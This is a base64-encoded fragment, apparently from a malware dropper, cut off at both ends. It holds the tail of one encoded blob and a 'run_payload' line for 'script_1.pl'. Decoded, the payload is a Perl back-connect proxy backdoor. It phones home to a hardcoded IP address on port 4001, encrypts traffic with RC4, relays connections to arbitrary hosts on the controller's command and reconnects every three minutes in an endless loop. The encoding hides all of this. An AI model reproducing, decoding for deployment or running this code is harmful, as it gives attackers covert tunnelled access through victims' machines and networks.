JIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_1.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTUwJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGE